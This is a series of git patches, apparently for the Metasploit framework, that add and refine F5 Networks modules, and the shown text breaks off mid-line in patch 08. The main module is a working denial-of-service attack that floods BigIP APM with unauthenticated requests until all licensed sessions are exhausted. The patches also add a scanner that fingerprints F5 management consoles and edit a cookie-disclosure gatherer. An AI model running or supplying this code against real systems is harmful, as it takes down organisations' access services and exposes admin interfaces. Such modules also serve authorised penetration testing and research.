From 252557227d340e392672ea4ce8a8a2126121b2f3 Mon Sep 17 00:00:00 2001 From: dnkolegov Date: Fri, 6 Mar 2015 01:55:42 -0500 Subject: [PATCH 01/26] Add F5 BigIP APM DoS module --- .../dos/http/f5_bigip_apm_max_sessions.rb | 87 +++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb diff --git a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb new file mode 100644 index 0000000000..c45a749dff --- /dev/null +++ b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb @@ -0,0 +1,87 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'F5 BigIP APM Unauthenticated Session Exhaustion Denial of Service', + 'Description' => %q{ + An unauthenticated attacker can establish multiple connections with BigIP Access Policy Manager + and exhaust all available sessions defined in customer\'s license. + In the first step of BigIP APM protocol the client sends a HTTP request. + The BigIP system creates a session, marks it as progress (pending) and then redirects client to access policy URI. + Since BigIP allocates a new session after the first unauthenticated request and deletes the session only if an access policy timeout will be expired + the attacker can exhaust all available sessions repeatedly sending initial HTTP request. + }, + 'Author' => + [ + 'Oleg Broslavsky ', + 'Nikita Oleksov ', + 'Denis Kolegov ', + ], + 'References' => + [ + ['URL', 'https://support.f5.com/kb/en-us/products/big-ip_apm/releasenotes/product/relnote-apm-11-6-0.html#id450940'] + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptPort.new('RPORT', [true, 'The BigIP port to listen on', 443]), + OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', true]), + OptString.new('TARGETURI', [true, 'The base path', '/']), + OptInt.new('RLIMIT', [true, 'Number of requests to send', 10000]) + ], self.class) + end + + def run + # Main function + uri = normalize_uri(datastore['TARGETURI']) + datastore['SSL']? proto = 'https' : proto = 'http' + + # Send an initial test request + res = send_request_cgi('method' => 'GET', 'uri' => uri) + if res + print_status("#{peer} - Starting DoS attack") + else + print_error("#{proto}://#{rhost}:#{rport}#{uri} - Unable to connect to BIgIP. Please check options") + return + end + + # Start attack + for i in 1..datastore['RLIMIT'] + res = send_request_cgi('method' => 'GET', 'uri' => uri) + if res and res.headers['Location'] == '/my.logout.php3?errorcode=14' + print_status("#{peer} - The maximum number of concurrent user sessions has been reached. No new user sessions can start at this time") + print_status("#{peer} - DoS attack is successful") + return; + end + end + + # Check if attack is unsuccessfull + res = send_request_cgi('method' => 'GET', 'uri' => uri) + if res.headers['Location'] == '/my.policy' + print_status("#{peer} - DoS attack is unsuccessful. Try to increase the RLIMIT number") + else + print_status("#{peer} - Result is undefined. Try to manually determine DoS attack result") + end + + rescue ::Rex::ConnectionRefused + print_error("#{proto}://#{rhost}:#{rport}#{uri} - Unable to connect to BigIP") + rescue ::Rex::ConnectionTimeout + print_error("#{proto}://#{rhost}:#{rport}#{uri} - Unable to connect to BigIP. Please check options") + rescue ::Errno::ECONNRESET + print_error("#{peer} - The connection was reset. Probably BigIP \"Max In Progress Sessions Per Client IP\" counter was reached") + print_status("#{peer} - DoS attack is unsuccessful") + + end + +end From bc0276a9c8e41611135e02ec38f59c57d6bcac7e Mon Sep 17 00:00:00 2001 From: dnkolegov Date: Thu, 12 Mar 2015 06:50:29 -0400 Subject: [PATCH 02/26] Add scanner for F5 web management interfaces --- .../auxiliary/scanner/http/f5_mgmt_scanner.rb | 129 ++++++++++++++++++ 1 file changed, 129 insertions(+) create mode 100644 modules/auxiliary/scanner/http/f5_mgmt_scanner.rb diff --git a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb new file mode 100644 index 0000000000..6da782ee5c --- /dev/null +++ b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb @@ -0,0 +1,129 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Capture + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super( + 'Name' => 'F5 management interface scanner', + 'Description' => %q{ + This module simply detects web management interface of the following F5 Networks devices: BigIP, BigIQ, Enterprise Manager, ARX, and FirePass. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Denis Kolegov ', + 'Oleg Broslavsky ', + 'Nikita Oleksov ' + ] + ) + register_options([ + OptPort.new('RPORT', [true, "The target port", 443]), + OptInt.new('TIMEOUT', [true, "The reply read timeout in milliseconds", 500]), + ], self.class) + + register_advanced_options([ + OptBool.new('SSL', [true, "Negotiate SSL connection", true]) + + ], self.class) + deregister_options('PCAPFILE', 'FILTER', 'INTERFACE', 'SNAPLEN') + + end + + def buildprobe(shost, sport, dhost, dport) + p = PacketFu::TCPPacket.new + p.ip_saddr = shost + p.ip_daddr = dhost + p.tcp_sport = sport + p.tcp_flags.ack = 0 + p.tcp_flags.syn = 1 + p.tcp_dport = dport + p.tcp_win = 3072 + p.recalc + p + end + + def probereply(pcap, to) + reply = nil + begin + Timeout.timeout(to) do + pcap.each do |r| + pkt = PacketFu::Packet.parse(r) + next unless pkt.is_tcp? + reply = pkt + break + end + end + rescue Timeout::Error + end + return reply + end + + + def run_host(ip) + # Test if a port on a remote host is reachable using TCP SYN method + + open_pcap + pcap = self.capture + + shost = Rex::Socket.source_address(rhost) + sport = rand(0xffff - 1025) + 1025 + to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 + self.capture.setfilter("tcp and (tcp[13] == 0x12 or (tcp[13] & 0x04) != 0) and src host #{rhost} and src port #{rport} and dst host #{shost} and dst port #{sport}") + + probe = buildprobe(shost, sport, rhost, rport) + capture_sendto(probe, rhost) + reply = probereply(self.capture, to) + + # Detect BigIP and BigIQ management interfaces + if (reply and reply.is_tcp? and reply.tcp_flags.syn == 1 and reply.tcp_flags.ack == 1) + + res = send_request_raw('method' => 'GET', 'uri' => '/', 'rport' => rport) + if res and res.code == 200 + if res.body =~ /BIG\-IP/ + print_status("#{peer} - F5 BigIP web management interface found") + return + end + if res.body =~ /<title>Enterprise Manager/ + print_status("#{peer} - F5 Enterprise Manager web management interface found") + return + end + end + + res = send_request_raw('method' => 'GET', 'uri' => '/ui/login/', 'rport' => rport) + if res and res.code == 200 and res.body =~ /<title>BIG\-IQ/ + print_status("#{peer} - F5 BigIQ web management interface found") + return + end + + res = send_request_raw('method' => 'GET', 'uri' => '/admin/', 'rport' => rport) + if res and res.code == 200 and res.body =~ /<br><br><br><big><b> FirePass/ + print_status("#{peer} - F5 FirePass web management interface found") + return + end + + res = send_request_raw('method' => 'GET', 'uri' => '/', 'rport' => rport) + if res and res.code == 200 and res.body =~ /<title>F5 ARX Manager Login<\/title>/ + print_status("#{peer} - ARX web management interface found") + return + end + + end + + rescue ::Rex::ConnectionRefused, + ::Rex::ConnectionError, + ::Rex::HostUnreachable, + ::Errno::ECONNRESET + print_error("#{peer} - Connection failed") + + end + +end From dd751a3371d389a30ae7c72607522463798651a9 Mon Sep 17 00:00:00 2001 From: dnkolegov <dnkolegov@gmail.com> Date: Tue, 17 Mar 2015 02:23:13 -0400 Subject: [PATCH 03/26] Add ssl/tls support, change default parameters --- modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb index 0a88b8527f..68a483aedc 100644 --- a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb +++ b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb @@ -32,8 +32,11 @@ class Metasploit3 < Msf::Auxiliary register_options( [ + OptInt.new('RPORT', [true, 'The BigIP service port to listen on', 443]), OptString.new('TARGETURI', [true, 'The URI path to test', '/']), - OptInt.new('REQUESTS', [true, 'Number of requests to send to disclose back', 10]) + OptBool.new('SSL', [true, 'Negotiate SSL/TLS for outgoing connections', true]), + OptEnum.new('SSLVersion', [false, 'Specify the version of SSL/TLS that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]), + OptInt.new('REQUESTS', [true, 'The number of requests to send', 10]) ], self.class) end @@ -148,5 +151,10 @@ class Metasploit3 < Msf::Auxiliary ) end + rescue ::Rex::ConnectionRefused, ::Rex::ConnectionTimeout, ::Errno::ECONNRESET, ::Rex::HostUnreachable, ::Timeout::Error, ::Errno::EPIPE + print_error("#{peer} - Network connection error") + rescue ::OpenSSL::SSL::SSLError + print_error("#{peer} - SSL/TLS connection error") + end end From 34c30502fda12a141c699525ffdcafc0a7e3686d Mon Sep 17 00:00:00 2001 From: dnkolegov <dnkolegov@gmail.com> Date: Tue, 17 Mar 2015 02:49:11 -0400 Subject: [PATCH 04/26] Add SSL/TLS support, fix minor errors, change default parameters --- .../dos/http/f5_bigip_apm_max_sessions.rb | 11 ++++--- .../auxiliary/scanner/http/f5_mgmt_scanner.rb | 33 ++++++++++++------- 2 files changed, 28 insertions(+), 16 deletions(-) diff --git a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb index c45a749dff..cb4875a59e 100644 --- a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb +++ b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb @@ -28,17 +28,18 @@ class Metasploit3 < Msf::Auxiliary ], 'References' => [ - ['URL', 'https://support.f5.com/kb/en-us/products/big-ip_apm/releasenotes/product/relnote-apm-11-6-0.html#id450940'] + ['URL', 'https://support.f5.com/kb/en-us/products/big-ip_apm/releasenotes/product/relnote-apm-11-6-0.html'] ], 'License' => MSF_LICENSE )) register_options( [ - OptPort.new('RPORT', [true, 'The BigIP port to listen on', 443]), - OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', true]), + OptPort.new('RPORT', [true, 'The BigIP service port to listen on', 443]), + OptBool.new('SSL', [true, 'Negotiate SSL/TLS for outgoing connections', true]), + OptEnum.new('SSLVersion', [false, 'Specify the version of SSL/TLS that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]), OptString.new('TARGETURI', [true, 'The base path', '/']), - OptInt.new('RLIMIT', [true, 'Number of requests to send', 10000]) + OptInt.new('RLIMIT', [true, 'The number of requests to send', 10000]) ], self.class) end @@ -81,6 +82,8 @@ class Metasploit3 < Msf::Auxiliary rescue ::Errno::ECONNRESET print_error("#{peer} - The connection was reset. Probably BigIP \"Max In Progress Sessions Per Client IP\" counter was reached") print_status("#{peer} - DoS attack is unsuccessful") + rescue ::OpenSSL::SSL::SSLError + print_error("#{peer} - SSL/TLS connection error") end diff --git a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb index 6da782ee5c..05138cf366 100644 --- a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb +++ b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb @@ -31,9 +31,10 @@ class Metasploit3 < Msf::Auxiliary ], self.class) register_advanced_options([ - OptBool.new('SSL', [true, "Negotiate SSL connection", true]) - + OptBool.new('SSL', [true, "Negotiate SSL/TLS connection", true]), + OptEnum.new('SSLVersion', [false, 'Specify the version of SSL/TLS that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]), ], self.class) + deregister_options('PCAPFILE', 'FILTER', 'INTERFACE', 'SNAPLEN') end @@ -83,39 +84,45 @@ class Metasploit3 < Msf::Auxiliary capture_sendto(probe, rhost) reply = probereply(self.capture, to) - # Detect BigIP and BigIQ management interfaces if (reply and reply.is_tcp? and reply.tcp_flags.syn == 1 and reply.tcp_flags.ack == 1) res = send_request_raw('method' => 'GET', 'uri' => '/', 'rport' => rport) + if res and res.code == 200 + + # Detect BigIP management interface if res.body =~ /<title>BIG\-IP/ print_status("#{peer} - F5 BigIP web management interface found") return end + + # Detect EM management interface if res.body =~ /<title>Enterprise Manager/ print_status("#{peer} - F5 Enterprise Manager web management interface found") return end + + # Detect ARX management interface + if res.body =~ /<title>F5 ARX Manager Login<\/title>/ + print_status("#{peer} - ARX web management interface found") + return + end end res = send_request_raw('method' => 'GET', 'uri' => '/ui/login/', 'rport' => rport) + + # Detect BigIQ management interface if res and res.code == 200 and res.body =~ /<title>BIG\-IQ/ print_status("#{peer} - F5 BigIQ web management interface found") return end - + # Detect FirePass management interface res = send_request_raw('method' => 'GET', 'uri' => '/admin/', 'rport' => rport) if res and res.code == 200 and res.body =~ /<br><br><br><big><b> FirePass/ print_status("#{peer} - F5 FirePass web management interface found") return end - res = send_request_raw('method' => 'GET', 'uri' => '/', 'rport' => rport) - if res and res.code == 200 and res.body =~ /<title>F5 ARX Manager Login<\/title>/ - print_status("#{peer} - ARX web management interface found") - return - end - end rescue ::Rex::ConnectionRefused, @@ -123,7 +130,9 @@ class Metasploit3 < Msf::Auxiliary ::Rex::HostUnreachable, ::Errno::ECONNRESET print_error("#{peer} - Connection failed") - - end + rescue ::OpenSSL::SSL::SSLError + print_error("#{peer} - SSL/TLS connection error") + + end end From 78be03623fab301ac783edfbc40477be95bc32f3 Mon Sep 17 00:00:00 2001 From: dnkolegov <dnkolegov@gmail.com> Date: Tue, 17 Mar 2015 03:39:04 -0400 Subject: [PATCH 05/26] Fix indent warnings --- .../auxiliary/dos/http/f5_bigip_apm_max_sessions.rb | 10 +++++----- modules/auxiliary/scanner/http/f5_mgmt_scanner.rb | 11 +++++------ 2 files changed, 10 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb index cb4875a59e..4abf90a555 100644 --- a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb +++ b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary Since BigIP allocates a new session after the first unauthenticated request and deletes the session only if an access policy timeout will be expired the attacker can exhaust all available sessions repeatedly sending initial HTTP request. }, - 'Author' => + 'Author' => [ 'Oleg Broslavsky <ovbroslavsky[at]gmail.com>', 'Nikita Oleksov <neoleksov[at]gmail.com>', @@ -36,9 +36,9 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptPort.new('RPORT', [true, 'The BigIP service port to listen on', 443]), - OptBool.new('SSL', [true, 'Negotiate SSL/TLS for outgoing connections', true]), + OptBool.new('SSL', [true, 'Negotiate SSL/TLS for outgoing connections', true]), OptEnum.new('SSLVersion', [false, 'Specify the version of SSL/TLS that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]), - OptString.new('TARGETURI', [true, 'The base path', '/']), + OptString.new('TARGETURI', [true, 'The base path', '/']), OptInt.new('RLIMIT', [true, 'The number of requests to send', 10000]) ], self.class) end @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary end # Start attack - for i in 1..datastore['RLIMIT'] + for i in 1..datastore['RLIMIT'] res = send_request_cgi('method' => 'GET', 'uri' => uri) if res and res.headers['Location'] == '/my.logout.php3?errorcode=14' print_status("#{peer} - The maximum number of concurrent user sessions has been reached. No new user sessions can start at this time") @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Auxiliary end end - # Check if attack is unsuccessfull + # Check if attack is unsuccessfull res = send_request_cgi('method' => 'GET', 'uri' => uri) if res.headers['Location'] == '/my.policy' print_status("#{peer} - DoS attack is unsuccessful. Try to increase the RLIMIT number") diff --git a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb index 05138cf366..9f634a25aa 100644 --- a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb +++ b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb @@ -15,10 +15,10 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'F5 management interface scanner', 'Description' => %q{ - This module simply detects web management interface of the following F5 Networks devices: BigIP, BigIQ, Enterprise Manager, ARX, and FirePass. + This module simply detects web management interface of the following F5 Networks devices: BigIP, BigIQ, Enterprise Manager, ARX, and FirePass. }, 'License' => MSF_LICENSE, - 'Author' => + 'Author' => [ 'Denis Kolegov <dnkolegov[at]gmail.com>', 'Oleg Broslavsky <ovbroslavsky[at]gmail.com>', @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary ], self.class) register_advanced_options([ - OptBool.new('SSL', [true, "Negotiate SSL/TLS connection", true]), + OptBool.new('SSL', [true, "Negotiate SSL/TLS connection", true]), OptEnum.new('SSLVersion', [false, 'Specify the version of SSL/TLS that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]), ], self.class) @@ -83,7 +83,7 @@ class Metasploit3 < Msf::Auxiliary probe = buildprobe(shost, sport, rhost, rport) capture_sendto(probe, rhost) reply = probereply(self.capture, to) - + if (reply and reply.is_tcp? and reply.tcp_flags.syn == 1 and reply.tcp_flags.ack == 1) res = send_request_raw('method' => 'GET', 'uri' => '/', 'rport' => rport) @@ -130,9 +130,8 @@ class Metasploit3 < Msf::Auxiliary ::Rex::HostUnreachable, ::Errno::ECONNRESET print_error("#{peer} - Connection failed") - rescue ::OpenSSL::SSL::SSLError print_error("#{peer} - SSL/TLS connection error") - + end end From e01f824b2c27c163973875d400914e8981fe9e1e Mon Sep 17 00:00:00 2001 From: dnkolegov <dnkolegov@gmail.com> Date: Tue, 17 Mar 2015 03:46:00 -0400 Subject: [PATCH 06/26] Fix capitalization warnings --- modules/auxiliary/scanner/http/f5_mgmt_scanner.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb index 9f634a25aa..5531859e18 100644 --- a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb +++ b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info={}) super( - 'Name' => 'F5 management interface scanner', + 'Name' => 'F5 Management Interface Scanner', 'Description' => %q{ This module simply detects web management interface of the following F5 Networks devices: BigIP, BigIQ, Enterprise Manager, ARX, and FirePass. }, @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Auxiliary reply = probereply(self.capture, to) if (reply and reply.is_tcp? and reply.tcp_flags.syn == 1 and reply.tcp_flags.ack == 1) - + res = send_request_raw('method' => 'GET', 'uri' => '/', 'rport' => rport) if res and res.code == 200 From 2a0deaa6c87f4f1fed3d0322c36d8b3ff1aea9a7 Mon Sep 17 00:00:00 2001 From: dnkolegov <dnkolegov@gmail.com> Date: Mon, 23 Mar 2015 04:31:08 -0400 Subject: [PATCH 07/26] Deleted default options and SYN scan --- .../dos/http/f5_bigip_apm_max_sessions.rb | 21 +-- .../gather/f5_bigip_cookie_disclosure.rb | 11 +- .../auxiliary/scanner/http/f5_mgmt_scanner.rb | 152 +++++++----------- 3 files changed, 76 insertions(+), 108 deletions(-) diff --git a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb index 4abf90a555..0d537521bf 100644 --- a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb +++ b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb @@ -30,36 +30,37 @@ class Metasploit3 < Msf::Auxiliary [ ['URL', 'https://support.f5.com/kb/en-us/products/big-ip_apm/releasenotes/product/relnote-apm-11-6-0.html'] ], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'SSLVersion' => 'TLS1' + } )) register_options( [ OptPort.new('RPORT', [true, 'The BigIP service port to listen on', 443]), - OptBool.new('SSL', [true, 'Negotiate SSL/TLS for outgoing connections', true]), - OptEnum.new('SSLVersion', [false, 'Specify the version of SSL/TLS that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]), - OptString.new('TARGETURI', [true, 'The base path', '/']), + OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]), OptInt.new('RLIMIT', [true, 'The number of requests to send', 10000]) ], self.class) end def run # Main function - uri = normalize_uri(datastore['TARGETURI']) datastore['SSL']? proto = 'https' : proto = 'http' # Send an initial test request - res = send_request_cgi('method' => 'GET', 'uri' => uri) + res = send_request_cgi('method' => 'GET', 'uri' => '/') if res print_status("#{peer} - Starting DoS attack") else - print_error("#{proto}://#{rhost}:#{rport}#{uri} - Unable to connect to BIgIP. Please check options") + print_error("#{proto}://#{rhost}:#{rport} - Unable to connect to BIgIP. Please check options") return end # Start attack for i in 1..datastore['RLIMIT'] - res = send_request_cgi('method' => 'GET', 'uri' => uri) + res = send_request_cgi('method' => 'GET', 'uri' => '/') if res and res.headers['Location'] == '/my.logout.php3?errorcode=14' print_status("#{peer} - The maximum number of concurrent user sessions has been reached. No new user sessions can start at this time") print_status("#{peer} - DoS attack is successful") @@ -76,9 +77,9 @@ class Metasploit3 < Msf::Auxiliary end rescue ::Rex::ConnectionRefused - print_error("#{proto}://#{rhost}:#{rport}#{uri} - Unable to connect to BigIP") + print_error("#{proto}://#{rhost}:#{rport} - Unable to connect to BigIP") rescue ::Rex::ConnectionTimeout - print_error("#{proto}://#{rhost}:#{rport}#{uri} - Unable to connect to BigIP. Please check options") + print_error("#{proto}://#{rhost}:#{rport} - Unable to connect to BigIP. Please check options") rescue ::Errno::ECONNRESET print_error("#{peer} - The connection was reset. Probably BigIP \"Max In Progress Sessions Per Client IP\" counter was reached") print_status("#{peer} - DoS attack is unsuccessful") diff --git a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb index 68a483aedc..6f991d94d6 100644 --- a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb +++ b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb @@ -27,15 +27,18 @@ class Metasploit3 < Msf::Auxiliary ['URL', 'http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html'], ['URL', 'http://support.f5.com/kb/en-us/solutions/public/7000/700/sol7784.html?sr=14607726'] ], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'SSLVersion' => 'TLS1' + } )) register_options( [ OptInt.new('RPORT', [true, 'The BigIP service port to listen on', 443]), + OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]), OptString.new('TARGETURI', [true, 'The URI path to test', '/']), - OptBool.new('SSL', [true, 'Negotiate SSL/TLS for outgoing connections', true]), - OptEnum.new('SSLVersion', [false, 'Specify the version of SSL/TLS that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]), OptInt.new('REQUESTS', [true, 'The number of requests to send', 10]) ], self.class) end @@ -151,7 +154,7 @@ class Metasploit3 < Msf::Auxiliary ) end - rescue ::Rex::ConnectionRefused, ::Rex::ConnectionTimeout, ::Errno::ECONNRESET, ::Rex::HostUnreachable, ::Timeout::Error, ::Errno::EPIPE + rescue ::Rex::ConnectionError print_error("#{peer} - Network connection error") rescue ::OpenSSL::SSL::SSLError print_error("#{peer} - SSL/TLS connection error") diff --git a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb index 5531859e18..62c76c31b0 100644 --- a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb +++ b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb @@ -7,10 +7,11 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Capture + include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner + def initialize(info={}) super( 'Name' => 'F5 Management Interface Scanner', @@ -23,115 +24,78 @@ class Metasploit3 < Msf::Auxiliary 'Denis Kolegov <dnkolegov[at]gmail.com>', 'Oleg Broslavsky <ovbroslavsky[at]gmail.com>', 'Nikita Oleksov <neoleksov[at]gmail.com>' - ] + ], + 'DefaultOptions' => + { + 'SSL' => true, + 'SSLVersion' => 'TLS1', + 'RPORT' => 443, + 'VERBOSE' => false + } ) - register_options([ - OptPort.new('RPORT', [true, "The target port", 443]), - OptInt.new('TIMEOUT', [true, "The reply read timeout in milliseconds", 500]), - ], self.class) - register_advanced_options([ - OptBool.new('SSL', [true, "Negotiate SSL/TLS connection", true]), - OptEnum.new('SSLVersion', [false, 'Specify the version of SSL/TLS that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]), - ], self.class) - - deregister_options('PCAPFILE', 'FILTER', 'INTERFACE', 'SNAPLEN') + register_options( + [ + OptInt.new('TIMEOUT', [true, "The reply read timeout in milliseconds", 1000]) + ], self.class) end - def buildprobe(shost, sport, dhost, dport) - p = PacketFu::TCPPacket.new - p.ip_saddr = shost - p.ip_daddr = dhost - p.tcp_sport = sport - p.tcp_flags.ack = 0 - p.tcp_flags.syn = 1 - p.tcp_dport = dport - p.tcp_win = 3072 - p.recalc - p - end - - def probereply(pcap, to) - reply = nil - begin - Timeout.timeout(to) do - pcap.each do |r| - pkt = PacketFu::Packet.parse(r) - next unless pkt.is_tcp? - reply = pkt - break - end - end - rescue Timeout::Error - end - return reply - end - - def run_host(ip) - # Test if a port on a remote host is reachable using TCP SYN method - - open_pcap - pcap = self.capture - - shost = Rex::Socket.source_address(rhost) - sport = rand(0xffff - 1025) + 1025 + # Test if a port on a remote host is reachable to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 - self.capture.setfilter("tcp and (tcp[13] == 0x12 or (tcp[13] & 0x04) != 0) and src host #{rhost} and src port #{rport} and dst host #{shost} and dst port #{sport}") + verbose = datastore['VERBOSE'] - probe = buildprobe(shost, sport, rhost, rport) - capture_sendto(probe, rhost) - reply = probereply(self.capture, to) + begin + ::Timeout.timeout(to) do - if (reply and reply.is_tcp? and reply.tcp_flags.syn == 1 and reply.tcp_flags.ack == 1) + res = send_request_raw('method' => 'GET', 'uri' => '/', 'rport' => rport) + if res and res.code == 200 - res = send_request_raw('method' => 'GET', 'uri' => '/', 'rport' => rport) + # Detect BigIP management interface + if res.body =~ /<title>BIG\-IP/ + print_status("#{peer} - F5 BigIP web management interface found") + return + end - if res and res.code == 200 + # Detect EM management interface + if res.body =~ /<title>Enterprise Manager/ + print_status("#{peer} - F5 Enterprise Manager web management interface found") + return + end - # Detect BigIP management interface - if res.body =~ /<title>BIG\-IP/ - print_status("#{peer} - F5 BigIP web management interface found") + # Detect ARX management interface + if res.body =~ /<title>F5 ARX Manager Login<\/title>/ + print_status("#{peer} - ARX web management interface found") + return + end + end + + res = send_request_raw('method' => 'GET', 'uri' => '/ui/login/', 'rport' => rport) + + # Detect BigIQ management interface + if res and res.code == 200 and res.body =~ /<title>BIG\-IQ/ + print_status("#{peer} - F5 BigIQ web management interface found") + return + end + # Detect FirePass management interface + res = send_request_raw('method' => 'GET', 'uri' => '/admin/', 'rport' => rport) + if res and res.code == 200 and res.body =~ /<br><br><br><big><b> FirePass/ + print_status("#{peer} - F5 FirePass web management interface found") return end - # Detect EM management interface - if res.body =~ /<title>Enterprise Manager/ - print_status("#{peer} - F5 Enterprise Manager web management interface found") - return - end + end - # Detect ARX management interface - if res.body =~ /<title>F5 ARX Manager Login<\/title>/ - print_status("#{peer} - ARX web management interface found") - return - end - end - - res = send_request_raw('method' => 'GET', 'uri' => '/ui/login/', 'rport' => rport) - - # Detect BigIQ management interface - if res and res.code == 200 and res.body =~ /<title>BIG\-IQ/ - print_status("#{peer} - F5 BigIQ web management interface found") - return - end - # Detect FirePass management interface - res = send_request_raw('method' => 'GET', 'uri' => '/admin/', 'rport' => rport) - if res and res.code == 200 and res.body =~ /<br><br><br><big><b> FirePass/ - print_status("#{peer} - F5 FirePass web management interface found") - return - end - - end - - rescue ::Rex::ConnectionRefused, - ::Rex::ConnectionError, - ::Rex::HostUnreachable, - ::Errno::ECONNRESET - print_error("#{peer} - Connection failed") + rescue ::Rex::ConnectionRefused + print_status("#{peer} - TCP port closed") if verbose + rescue ::Rex::ConnectionError + print_error("#{peer} - Connection failed") if verbose rescue ::OpenSSL::SSL::SSLError - print_error("#{peer} - SSL/TLS connection error") - + print_error("#{peer} - SSL/TLS connection error") if verbose + rescue Timeout::Error + print_error("#{peer} - HTTP connection timed out") if verbose + end + end end From ee17d6e6063e11df761808f3a91b16d98ed34210 Mon Sep 17 00:00:00 2001 From: dnkolegov <dnkolegov@gmail.com> Date: Mon, 23 Mar 2015 04:34:38 -0400 Subject: [PATCH 08/26] Deleted spaces at EOL --- modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb | 2 +- modules/auxiliary/scanner/http/f5_mgmt_scanner.rb | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb index 0d537521bf..55c84feab7 100644 --- a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb +++ b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary ['URL', 'https://support.f5.com/kb/en-us/products/big-ip_apm/releasenotes/product/relnote-apm-11-6-0.html'] ], 'License' => MSF_LICENSE, - 'DefaultOptions' => + 'DefaultOptions' => { 'SSLVersion' => 'TLS1' } diff --git 